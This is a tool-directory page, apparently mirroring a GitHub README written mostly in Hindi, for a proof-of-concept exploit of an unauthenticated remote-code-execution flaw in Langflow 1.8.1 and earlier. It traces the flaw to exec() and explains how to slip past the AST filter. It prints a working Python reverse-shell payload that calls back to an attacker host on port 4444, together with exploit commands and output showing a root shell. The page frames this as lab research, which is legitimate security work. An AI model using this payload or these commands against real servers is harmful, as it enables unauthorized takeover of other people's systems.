Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-33017 — Langflow <=1.8.1 में बिना प्रमाणीकरण वाले RCE के लिए PoC एक्सप्लॉइट, जिसमें स्रोत-स्तरीय मूल कारण विश्लेषण, AST-जागरूक रिवर्स शेल पेलोड, Docker लैब, पैच डिफ और डिटेक्शन नियम शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/lxxexxbxx/cve-2026-33017
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

Langflow <=1.8.1 में बिना प्रमाणीकरण वाले RCE के लिए PoC एक्सप्लॉइट, जिसमें स्रोत-स्तरीय मूल कारण विश्लेषण, AST-जागरूक रिवर्स शेल पेलोड, Docker लैब, पैच डिफ और डिटेक्शन नियम शामिल हैं।

रिपॉजिटरी देखें
11101 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

अस्वीकरण
यह रिपॉज़िटरी सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए बनाई गई है।
केवल पृथक (isolated) प्रयोगशाला वातावरण में उपयोग करें।
बिना अनुमति वाले सिस्टम पर उपयोग करना सूचना संचार नेटवर्क कानून का उल्लंघन है और आपराधिक दंड का विषय है।


1. भेद्यता अवलोकन

आइटमविवरण
CVE IDCVE-2026-33017
प्रभावित सॉफ़्टवेयरLangflow (AI वर्कफ़्लो बिल्डर)
प्रभावित संस्करणLangflow ≤ 1.8.1
पैच संस्करणLangflow ≥ 1.9.0
भेद्यता प्रकारUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEVसूचीबद्ध

2. भेद्यता के कारण का विश्लेषण

2-1. असुरक्षित एंडपॉइंट

POST /api/v1/build_public_tmp/{flow_id}/flow

यह सार्वजनिक फ़्लो बिल्ड के लिए एंडपॉइंट है, जिसे बिना प्रमाणीकरण के एक्सेस करने योग्य बनाया गया है।

2-2. कोड निष्पादन पथ (Call Chain)

स्रोत कोड को सीधे ट्रेस करके पुष्टि की गई निष्पादन पथ:

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← 클라이언트 입력 그대로 수신 (취약점)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← 클라이언트 data 그대로 전달
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 임의 코드 실행

2-3. AST नोड फ़िल्टरिंग — पेलोड डिज़ाइन की मुख्य बाधा

prepare_global_scope() फ़ंक्शन प्रस्तुत कोड के सभी स्टेटमेंट को निष्पादित नहीं करता है। AST पार्सिंग के बाद केवल विशिष्ट नोड प्रकारों को चुनकर निष्पादित करता है:

# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨

exec(compiled_code, exec_globals)  # definitions만 실행

निष्पादन योग्य AST नोड प्रकार:

AST नोड प्रकारउदाहरणनिष्पादन
FunctionDefdef _shell(): ...✅ निष्पादित
ClassDefclass ExploitComponent(Component)✅ निष्पादित
Assign_r = os.system("id")✅ निष्पादित
AnnAssign_r: int = os.system("id")✅ निष्पादित
Expros.system("id") (एकल कॉल)❌ अनदेखा

निष्कर्ष: पेलोड को निष्पादित करने के लिए उसे Assign रूप (_r = ...) में लिखना अनिवार्य है।
साधारण फ़ंक्शन कॉल (os.system("id") ) Expr नोड के रूप में वर्गीकृत होती है और फ़िल्टर द्वारा हटा दी जाती है।

2-4. रिवर्स शेल पेलोड डिज़ाइन प्रक्रिया — प्रयास और विफलता विश्लेषण

अभ्यास के दौरान कई पेलोड विधियों का प्रयास किया गया और प्रत्येक विफलता का कारण स्रोत स्तर पर पहचाना गया।

प्रयास 1 — subprocess.Popen + wait() (विफल)

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← 여기서 블로킹

विफलता का कारण: Langflow वर्कर थ्रेड कंपोनेंट के रिटर्न वैल्यू पर नज़र रखता है और टाइमआउट होने पर सॉकेट को जबरन बंद कर देता है। _proc.wait() की ब्लॉकिंग बेमानी हो जाती है।

प्रयास 2 — os.execve() का सीधा कॉल (विफल)

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

विफलता का कारण: POSIX नियमों के अनुसार, मल्टीथ्रेडेड प्रोसेस में execve() कॉल करने पर कॉल करने वाले थ्रेड के अलावा सभी थ्रेड समाप्त हो जाते हैं → पूरा uvicorn वर्कर क्रैश → HTTP 500।

प्रयास 3 — os.fork() + execve() (विफल)

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

विफलता का कारण: uvicorn चाइल्ड प्रोसेस को असामान्य समाप्ति के रूप में पहचानकर वर्कर को पुनः आरंभ करता है → HTTP 500।

प्रयास 4 — threading.Thread(daemon=True) (विफल)

threading.Thread(target=_shell, daemon=True).start()

विफलता का कारण: daemon=True थ्रेड मुख्य थ्रेड (Langflow वर्कर) के समाप्त होने पर उसके साथ ही नष्ट हो जाता है। connect() का प्रयास करने से पहले ही थ्रेड मर जाता है।

अंतिम कार्यशील पेलोड — threading.Thread(daemon=False) + Assign

# FunctionDef → 실행됨
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

daemon=False चुनने का कारण:

  • daemon=True → Langflow वर्कर थ्रेड समाप्त होने पर उसके साथ नष्ट हो जाता है
  • daemon=False → वर्कर से स्वतंत्र जीवनचक्र → सॉकेट कनेक्शन बनाए रखना संभव

3. अभ्यास वातावरण की संरचना

3-1. फ़ाइल संरचना

CVE-2026-33017/
├── README.md
├── Dockerfile              # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker     # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml      # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh           # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py              # 리버스 쉘 PoC
└── poc.py                  # Blind RCE / 취약점 존재 확인

3-2. वातावरण प्रारंभ करना

# 1. 컨테이너 빌드 및 기동
docker compose up --build

# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!

# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. नेटवर्क संरचना

┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (피해자)  │
│  langflow-attacker   172.19.0.3       (공격자)  │
└──────────────────────────────────────────────────┘

4. PoC उपयोग विधि

4-1. exploit.py — रिवर्स शेल

अटैकर कंटेनर के अंदर चलाएँ:

docker exec -it langflow-attacker bash

# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

विकल्प:

विकल्पविवरणडिफ़ॉल्ट
--urlलक्षित Langflow URLआवश्यक
--lhostरिवर्स शेल कॉलबैक IPआवश्यक
--lportरिवर्स शेल कॉलबैक पोर्टआवश्यक
--flow-idसार्वजनिक फ़्लो UUID (छोड़ने पर स्वतः निर्मित)स्वचालित
--userव्यवस्थापक IDadmin
--passwordव्यवस्थापक PWadmin123!
--no-listenअंतर्निहित लिसनर अक्षम (बाहरी nc उपयोग करने पर)False
--timeoutHTTP टाइमआउट (सेकंड)30

अपेक्षित आउटपुट:

============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백       : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답  : 200

[+] 쉘 연결됨  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — ब्लाइंड RCE की पुष्टि

केवल भेद्यता की उपस्थिति की पुष्टि करने के लिए उपयोग करें:

python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. curl द्वारा मैन्युअल पुनरुत्पादन

टूल डाउनलोड करें